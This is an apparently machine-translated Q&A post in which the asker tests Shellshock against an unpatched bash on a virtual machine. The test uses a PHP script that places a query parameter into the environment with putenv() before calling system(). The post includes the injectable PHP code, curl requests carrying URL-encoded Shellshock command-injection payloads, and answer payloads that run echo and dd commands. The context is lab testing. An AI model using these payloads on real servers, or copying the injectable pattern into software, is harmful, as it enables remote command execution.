与Shell交互时的PHP行为

我正在尝试使用bash shell(版本4.2)testingPHP交互。 我的bash shell没有修补shellshock(是的,我知道如何修补它;我正在testing一个虚拟机,我更关注与shell的PHP交互)。

我有一个简单的PHP程序,它从查询string中获取一个参数,通过putenv()把它添加到环境中,然后使用system()运行一个命令。 脚本如下:

 <?php function getParam() { $arg = NULL; if (isset($_GET["arg"]) && !empty($_GET["arg"])) { $arg = $_GET["arg"]; } return $arg; } $arg = getParam(); putenv("ARG=$arg"); system("set"); ?> 

你可以看到system()使用set命令来打印shellvariables。 我第一次尝试使用以下内容:

 curl http://localhost/myphp.php?arg=123 

在输出中,我可以看到以下行:

 ARG=123 

在shellshock的精神,我然后改变了我的论点如下:

 curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;" 

这个论据基本上被设定为:

 arg=() { echo hello; }; 

当我运行脚本时,在输出中看不到ARG

但后来我改变了curl请求如下:

 curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20" 

这一次,参数设置为:

 arg=() { echo hello; }; echo PID:; echo $$; echo Set:; set 

这一次,我仍然没有看到从system()输出ARG ,但我看到额外的输出,因为参数为:

 PID:0 Set: // Omitted some output ARG () { echo hello } 

所以我的问题是,为什么我没有看到通过system() set输出参数ARG ,但通过参数set输出中看到它?

编辑

改写的问题,使其更清楚:在PHP代码中,我呼吁system(set) (最后一行)VS我传递set为查询string的一部分。 通过system()执行的set不会在shellvariables中显示ARG存在VS从查询string执行的VS set正在显示(虽然PID输出为0 – 所以必须考虑解释这一点)。

这是完整的输出: http : //pastebin.com/raw.php?i=WcBXgYAj

如果我改变system(set) system(env) ,我看到输出: http : //pastebin.com/raw.php?i=q1r6Z3Zi

代替

 arg=() { echo hello; }; 

尝试这个

 () { :;};echo Yes we can... 

或这个

 %28%29%20%7B%20%3A%3B%7D%3Becho%20Yes%20we%20can... 

…或者也许之间的东西

你可能会试图追查一些东西:

 (){ :;};dd if=/etc/hostname of=/tmp/testfile-$$-$RANDOM